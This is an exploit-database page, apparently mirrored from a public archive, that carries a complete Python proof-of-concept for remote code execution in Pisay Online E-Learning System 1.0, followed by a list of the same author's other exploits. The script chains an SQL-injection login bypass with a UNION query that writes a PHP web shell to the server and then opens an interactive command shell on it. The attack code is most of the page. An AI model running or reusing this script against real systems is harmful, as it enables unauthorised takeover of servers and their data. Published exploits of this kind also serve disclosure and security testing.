Search for hundreds of thousands of exploits

"Pisay Online E-Learning System 1.0 - Remote Code Execution"

Author

Exploit author

boku

Platform

Exploit platform

php

Release date

Exploit published date

2020-05-07

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# Exploit Title: Pisay Online E-Learning System 1.0 - Remote Code Execution
# Exploit Author: Bobby Cooke
# Date: 2020-05-05
# Vendor Homepage: https://www.sourcecodester.com/php/14192/pisay-online-e-learning-system-using-phpmysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/donbermoy/e-learningsystem_0.zip
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
# Description: Pisay Online E-Learning System v1.0 - SQLi Auth Bypass + Remote Code Execution (RCE)

# Vulnerable Source Code:
# /e-learningsystem/admin/login.php
#  121   $email = trim($_POST['user_email']);
#  122   $upass  = trim($_POST['user_pass']);
#  123   $h_upass = sha1($upass);
#  132     $user = new User();
#  134     $res = $user::userAuthentication($email, $h_upass);
# /e-learningsystem/include/accounts.php
#    3 class User {
#   23     static function userAuthentication($email,$h_pass){
#   25         $mydb->setQuery("SELECT * FROM `tblusers` WHERE `UEMAIL` = '". $email ."' and `PASS` = '". $h_pass ."'");
# /e-learningsystem/admin/modules/lesson/edit.php
#    6   @$id = $_GET['id'];
#    7     if($id==''){
#   10   $lesson = New Lesson();
#   11   $res = $lesson->single_lesson($id);
# /e-learningsystem/include/lessons.php
#    4  class Lesson {
#    5     protected static  $tblname = "tbllesson";
#   35     function single_lesson($id=0){
#   37-38          $mydb->setQuery("SELECT * FROM ".self::$tblname." Where LessonID= '{$id}' LIMIT 1");

import requests, sys, re

requests.packages.urllib3.\
disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def webshell(SERVER_URL):
    try:
        while True:
            cmd = raw_input('C:\\ ')
            command = {'cmd': cmd}
            r2 = s.get(SERVER_URL+'../../../../webshell.php', params=command, verify=False)
            response = r2.text
            cleanResponse = response.replace('AAAAAAAAAAAAAAA', '')
            cleanResponse = cleanResponse.replace('313371337', '')
            print(cleanResponse)
    except:
        print("\r\nExiting.")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print "(+) Usage:   %s <SERVER_URL>" % sys.argv[0]
        print "(+) Example: %s 'https://10.0.0.3:443/e-learningsystem/'" % sys.argv[0]
        sys.exit(-1)
    SERVER_URL = sys.argv[1]
    ADMIN_URL = SERVER_URL + 'admin/login.php'
    LESSON_URL = SERVER_URL + 'admin/modules/lesson/index.php'
    s = requests.Session()
    s.get(SERVER_URL, verify=False)
    payload1 = {'user_email': "boku' OR 1337=1337 LIMIT 1 -- PowerUp", 'user_pass': 'InstantTransmission', 'btnLogin': ''}
    s.post(ADMIN_URL, data=payload1, verify=False)

    payload2 = {'view': 'edit', 'id': '31337\' AND 1337=31337 union all select 313371337,"AAAAAAAAAAAAAAA",@@datadir,"AAAAAAAAAAAAAAA","AAAAAAAAAAAAAAA" -- kamahamaha'}
    r1 = s.get(LESSON_URL, params=payload2, verify=False)
    dirtyPath = str(re.findall(r'"Title" type="text" value=".*>', r1.text))
    dataPath=re.sub('^.*"Title" type="text" value="', '', dirtyPath)
    dataPath=re.sub('">.*$', '', dataPath)
    dataPath=dataPath.replace('\\\\', '/')
    xamppPath=re.sub('xampp.*', 'xampp', dataPath)
    payload3 = {'view': 'edit', 'id': '31337\' AND 1337=31337 union all select 313371337,"AAAAAAAAAAAAAAA","<?php echo shell_exec($_GET[\'cmd\']);?>","AAAAAAAAAAAAAAA","AAAAAAAAAAAAAAA" into OUTFILE \''+xamppPath+'/htdocs/webshell.php\' -- kamahamaha'}
    print(payload3)
    s.get(LESSON_URL, params=payload3, verify=False)
    webshell(SERVER_URL)
Release DateTitleTypePlatformAuthor
2020-07-26"Online Course Registration 1.0 - Unauthenticated Remote Code Execution"webappsphpboku
2020-07-26"LibreHealth 2.0.0 - Authenticated Remote Code Execution"webappsphpboku
2020-06-16"Bandwidth Monitor 3.9 - 'Svc10StrikeBandMontitor' Unquoted Service Path"localwindowsboku
2020-06-10"10-Strike Bandwidth Monitor 3.9 - Buffer Overflow (SEH_DEP_ASLR)"localwindowsboku
2020-05-22"Gym Management System 1.0 - Unauthenticated Remote Code Execution"webappsphpboku
2020-05-07"Pisay Online E-Learning System 1.0 - Remote Code Execution"webappsphpboku
2020-05-01"Online Scheduling System 1.0 - Persistent Cross-Site Scripting"webappsphpboku
2020-05-01"Online Scheduling System 1.0 - Authentication Bypass"webappsphpboku
2020-05-01"ChemInv 1.0 - Authenticated Persistent Cross-Site Scripting"webappsphpboku
2020-04-20"Atomic Alarm Clock 6.3 - Stack Overflow (Unicode+SEH)"localwindowsboku
2020-04-20"Atomic Alarm Clock x86 6.3 - 'AtomicAlarmClock' Unquoted Service Path"localwindowsboku
2020-04-13"Free Desktop Clock x86 Venetian Blinds Zipper 3.0 - Unicode Stack Overflow (SEH)"localwindowsboku
2020-02-17"DHCP Turbo 4.61298 - 'DHCP Turbo 4' Unquoted Service Path"localwindowsboku
2020-02-17"TFTP Turbo 4.6.1273 - 'TFTP Turbo 4' Unquoted Service Path"localwindowsboku
2020-02-17"Cuckoo Clock v5.0 - Buffer Overflow"localwindowsboku
2020-02-17"BOOTP Turbo 2.0.1214 - 'BOOTP Turbo' Unquoted Service Path"localwindowsboku
2020-02-14"HomeGuard Pro 9.3.1 - Insecure Folder Permissions"localwindowsboku
2020-02-14"SprintWork 2.3.1 - Local Privilege Escalation"localwindowsboku
2020-02-13"OpenTFTP 1.66 - Local Privilege Escalation"localwindowsboku
2020-02-11"Disk Savvy Enterprise 12.3.18 - Unquoted Service Path"localwindowsboku
2020-02-11"freeFTPd v1.0.13 - 'freeFTPdService' Unquoted Service Path"localwindowsboku
2020-02-11"Sync Breeze Enterprise 12.4.18 - 'Sync Breeze Enterprise' Unquoted Service Path"localwindowsboku
2020-02-11"FreeSSHd 1.3.1 - 'FreeSSHDService' Unquoted Service Path"localwindowsboku
2020-02-11"Torrent iPod Video Converter 1.51 - Stack Overflow"localwindowsboku
2020-02-11"Disk Sorter Enterprise 12.4.16 - 'Disk Sorter Enterprise' Unquoted Service Path"localwindowsboku
2020-01-27"Torrent 3GP Converter 1.51 - Stack Overflow (SEH)"localwindowsboku
2020-01-23"BOOTP Turbo 2.0 - Denial of Service (SEH)(PoC)"doswindowsboku
2019-12-30"FTP Navigator 8.03 - Stack Overflow (SEH)"localwindowsboku
2019-12-30"Domain Quester Pro 6.02 - Stack Overflow (SEH)"localwindowsboku
2019-12-30"AVS Audio Converter 9.1.2.600 - Stack Overflow (PoC)"localwindowsboku
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48439/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.